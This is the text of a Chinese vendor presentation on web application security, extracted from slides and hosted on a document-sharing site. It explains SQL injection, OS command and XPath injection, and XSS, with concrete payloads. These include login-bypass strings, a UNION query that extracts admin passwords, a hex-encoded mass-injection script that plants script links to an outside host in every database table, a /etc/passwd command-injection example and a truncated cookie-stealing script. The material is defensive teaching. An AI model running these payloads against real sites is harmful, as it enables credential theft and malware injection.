您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 质量控制/管理 > WEB安全与解决方案
WEB安全与解决方案香港瑞恩信息科技有限公司0769-21680186-888Jack.Wu216:27:55WEBWEB服务器的安全要求服务器的安全要求软件的安全操作系统HTTP服务程序WEB应用程序服务的安全拒绝服务的防御用户身份的认证内容的安全恶意软件的拦截不良信息的过滤网站内容的监控安全策略基于服务器的安全策略基于网站应用程序的安全策略316:27:55••WEBWEB服务器安全要求服务器安全要求产品功能满足情况产品OS入侵HTTP端口入侵WEB应用程序入侵DDoS攻击用户身份认证恶意软件拦截不良信息过滤网站内容监控服务器策略网站应用程序策略WAFYYYYYYYYYIPSYYYYFirewallYYAVYYDLPYYY416:27:55WEBWEB应用层的安全问题应用层的安全问题SQL注入其它类型的注入XSSCSRFCookie安全文件上传漏洞源代码泄露目录浏览网页挂马页面篡改516:27:55SQLSQL注入原理注入原理数据库与SQLOracle,SQLServer,MySQL,PostgreSQL,Access,…SQL:StructuredQueryLanguageSQL是关系数据库的标准数据查询语言Select*fromnewswhereid=1234Select*fromuserinfowherename='admin'andpassword='12346'SQL注入使用数据库的应用程序(比如Web程序)将用户提交的数据未加验证和处理直接放到了SQL语句中时,有可能因为提交内容包含特定的字符而使用SQL语名出错,如果提交内容是经过恶意构造的,就有可能改变SQL语句原有功能,程序在执行该SQL语句时,就会执行提交者提交的恶意数据库操作代码,这就是SQL注入。关于SQL注入漏洞它不是数据库的漏洞它也不是Web服务程序或脚本解释器的漏洞它是(WEB)应用程序本身的BUG,是网站程序开发者造成的问题616:27:55SQLSQL注入与登录验证注入与登录验证SQL注入可能绕过某些登录验证登录页面输入帐号密码:username:admin,password:abcde输入内容会传给登录验证程序,验证程序可能会调用如下的SQL语句来查询数据库验证用户的帐号密码:Select*fromuserinfowhereusername='admin'andpassword='abcde'假如用户输入的是密码是:b'or'a'='a,则查询变为:Select*fromuserinfowhereusername='admin'andpassword='b'or'a'='a'注意密码中的引号构造,恰好改变了SQL语句的查询逻辑,现在的判断条件恒真的,这就绕过了密码验证进入了系统。上面的注入密码可以进一步简单化为:'or''='如果数据库不是ACCESS,也可直接在用户名中输入:admin'–Select*fromuserinfowhereusername='admin'–'password=''为了逃辟IPS的检测,以上注入形式可以复杂化:如:asdv2'or'addwwe''qr24aas,admin'--aa24242sd716:27:55SQLSQL注入绕过登录验证实例注入绕过登录验证实例某网站的登录入口存在SQL注入漏洞816:27:55SQLSQL注入绕过登录验证实例注入绕过登录验证实例利用SQL注入成功绕过登录验证916:27:55SQLSQL注入获取管理员密码注入获取管理员密码目标URL:=806'实际的SQL查询可能是这样的形式:Select*fromnewswhereid=806第一步:测试注入点=806'下面的错误显示数据库为ACCESS,列名为:aid,实际SQL为:Select*fromnewswhereaid=806'错误显示参数未经处理直接被放到SQL语句中,存在注入漏洞也可用以下两个条件来确认是否存在注入漏洞:=806And1=1=806And1=21016:27:55SQLSQL注入获取管理员密码注入获取管理员密码猜表名,试列数,猜列名=806UnionSelectTop11,2,3,4,password,username,7,8,9,10,11,12,13,14,15FromusersSelect*fromnewswhereaid=806UnionSelectTop11,2,3,4,password,username,7,8,9,10,11,12,13,14,15Fromusers1116:27:55SQLSQL注入获取管理员密码注入获取管理员密码使用获得的密码登录管理平台:注入对于ACCESS数据库的局限性对表名列名只能猜着尝试无法插入更新记录当密码较强时,无法通过HASH后的结果获得原始密码不幸的是多数网站使用常见的表名和列名,弱口令的使用很普遍1216:27:55SQLSQL注入与网站挂马注入与网站挂马Anchiva拦截的针对SQLServer的注入挂马攻击=1521;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f612e6c6c3863632e636e3e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52%20eXeC(@s)--SQLSQL注入与网站挂马注入与网站挂马红色部分是主要攻击代码的16进制编码,转换后如下:declare@tvarchar(255),@cvarchar(255)declaretable_cursorcursorforselecta.name,b.namefromsysobjectsa,syscolumnsbwherea.id=b.idanda.xtype='u'and(b.xtype=99orb.xtype=35orb.xtype=231orb.xtype=167)opentable_cursorfetchnextfromtable_cursorinto@t,@cwhile(@@fetch_status=0)beginexec('update['+@t+']set['+@c+']=rtrim(convert(varchar,['+@c+']))+''/titlescriptsrc=!--''')fetchnextfromtable_cursorinto@t,@cendclosetable_cursordeallocatetable_cursor以上代码用来对所有表中的文本内容植入木马链接SQLSQL注入与网站挂马注入与网站挂马Google:scriptsrc=:55其它类型注入其它类型注入OS命令注入当用户输入被直接作为系统命令的一部分时,经过特别构造的用户输入可能改变命令的本意,执行额外的功能。例如命令:ls$path当用户输入的$path为:example&&cat/etc/passwd,则实际执行的命令为:lsexample&&cat/etc/passwd“&&”的意思是当前面的命令执行成功时,再接着执行后面的命令XPath注入XPath:XMLPathLanguage用来查询定位XML文档中的某一元素与SQL类似,XPath也存在注入问题例://users/user[loginID/text()='+loginID+'andpassword/text()='+password+']/firstname/text()当loginID和password都输入:’or‘’=‘时,XPath则成为://users/user[loginID/text()='‘or‘’=‘'andpassword/text()=‘’or‘’=‘']/firstname/text()“以上已经变成永真式了,如果该XPATH用来进行登录验证,则已被绕过1616:27:55XSSXSS攻击原理攻击原理XSS攻击XSS(CrossSiteScript),简称跨站脚本攻击。它指的是攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS漏洞当WEB程序在页面中显示访问者之前输入的内容时,没有对内容中可能包含的HTML标签进行编码,这些带有HTML标签的内容就可能给原来的HTML页面带来恶意的功能。这些恶意功能会给后来的访问者带来风险。对网站开发者的建议昀根本的:在显示来自用户的输入时,对必要的字符进行HTML编码对输入进行合理的长度限制,必要时可对不安全的关键字进行过滤典型的XSS测试代码scriptalert(‘xss’);script1716:27:55XSSXSS攻击实例攻击实例窃取用户的Cookie如:用户的提交内容Hello会被显示在HTML表格中:tbHello/tb如果用户提交如下内容:scriptdocument.write('imgsrc=='+document.cookie+
本文标题:WEB安全与解决方案
链接地址:https://www.777doc.com/doc-4367858 .html